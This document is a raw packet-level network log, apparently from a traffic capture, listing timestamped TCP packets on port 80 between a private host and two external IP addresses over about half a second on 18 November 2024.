Nov 18, 2024 19:04:24.242791891 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242816925 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242850065 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242851019 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242872953 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242885113 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242919922 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.242928028 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242928028 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.242985964 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.246618986 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.246649981 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.246690989 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.246690989 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.246701956 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.246737003 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.246769905 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.246778011 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.246778011 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.246805906 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.246845961 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.246845961 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.253463984 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.253493071 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.253547907 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.253585100 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.253617048 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.253617048 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.253618002 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.253618956 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.253643990 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.253673077 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.253707886 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.253721952 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.253721952 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.253745079 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.253781080 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.253784895 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.253784895 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.253818035 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.253849983 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.253854036 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.253865957 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.253886938 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.253932953 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.253932953 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.299186945 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.299328089 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.299364090 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.299417973 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.299422979 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.299453974 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.299490929 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.299496889 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.299496889 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.299525023 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.299561977 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.299567938 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.299567938 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.299618006 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.361161947 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.361185074 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.361203909 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.361319065 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.361605883 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.361622095 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.361638069 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.361653090 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.361665964 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.361670971 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.361685038 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.361696959 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.361726046 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.361726046 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.361783028 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.361798048 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.361813068 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.361835003 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.361862898 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.361917973 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.361931086 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.361947060 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.361963034 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.361964941 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.361978054 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.362021923 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.362068892 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362087965 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362119913 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.362119913 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.362241030 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362256050 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362271070 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362278938 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362287998 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362303019 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.362350941 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.362385988 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362401009 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362452984 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.362452984 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.362549067 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362564087 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362579107 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362610102 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.362610102 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.362706900 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362721920 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362842083 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.362875938 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362900972 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362915993 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362931013 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362936020 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.362936020 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.362946033 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.362963915 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.362971067 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.362988949 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363055944 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363075972 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363096952 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363132000 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363210917 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363224030 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363249063 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363262892 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363264084 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363264084 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363302946 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363332987 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363406897 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363421917 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363439083 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363461971 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363461971 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363533974 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363559008 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363573074 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363590002 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363606930 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363610029 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363610029 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363642931 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363642931 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363704920 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363729000 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363737106 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363749981 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.363759041 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.363771915 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363781929 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363785982 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363801956 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363811016 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.363816977 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363825083 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363825083 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363837004 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363851070 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363861084 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363861084 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363871098 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363871098 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363883972 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.363887072 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363907099 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.363971949 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.366867065 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.366882086 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.366899014 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.366935968 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.366935968 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.366952896 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.366972923 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.366986990 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.367011070 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.367011070 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.367046118 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.373740911 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.373789072 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.373800993 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.373806953 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.373836040 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.373882055 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.373905897 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.373915911 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.373915911 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.373922110 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.373938084 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.373955965 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.373960972 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.373960972 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.373987913 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.373987913 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.374145985 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.374162912 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.374213934 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.374213934 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.416771889 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.416795015 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.416949034 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.421231031 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.421251059 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.421267033 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.421282053 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.421298981 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.421315908 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.421319008 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.421319008 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.421325922 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.421358109 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.421403885 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.426078081 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.426095963 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.426112890 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.426173925 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.469782114 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.482292891 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.482314110 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.482409000 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.482433081 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.482455015 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.482460022 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.482466936 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.482518911 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.482518911 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.482608080 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.482623100 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.482639074 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.482655048 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.482667923 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.482671976 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.482702971 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.482702971 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.483088970 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483100891 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483114958 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483131886 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483143091 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.483146906 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483179092 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.483190060 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.483254910 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483277082 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483325005 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.483325005 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.483443022 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483458042 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483473063 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483486891 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.483489990 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483499050 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.483505964 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483520985 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483534098 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.483534098 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.483537912 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483573914 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.483593941 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483608007 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483612061 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.483623981 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483633041 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.483639956 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483653069 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.483663082 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.483663082 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.483683109 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.483695984 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.484092951 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484107018 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484122038 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484138012 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484153032 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484163046 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.484163046 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.484169006 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484180927 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.484204054 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.484255075 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484271049 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484288931 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484304905 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484312057 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.484312057 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.484319925 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484334946 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484342098 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.484342098 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.484349966 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484365940 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484373093 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.484374046 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484373093 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.484389067 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484404087 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484420061 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484421968 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.484421968 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.484436035 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484452009 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484462976 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.484462976 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.484478951 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.484512091 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.484512091 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.488493919 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.488511086 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.488564968 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.488564968 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.488639116 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.488655090 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.488672018 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.488687038 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.488709927 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.488709927 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.488766909 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.490430117 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.490448952 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.490511894 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.495078087 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.495100021 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.495121956 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.495129108 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.495156050 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.495156050 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.495156050 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.495199919 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.495217085 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.495235920 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.495239973 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.495254993 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.495258093 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.495258093 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.495280981 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.495305061 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.495352030 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.495548964 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.525098085 CET	80	49979	62.76.234.151	192.168.2.5
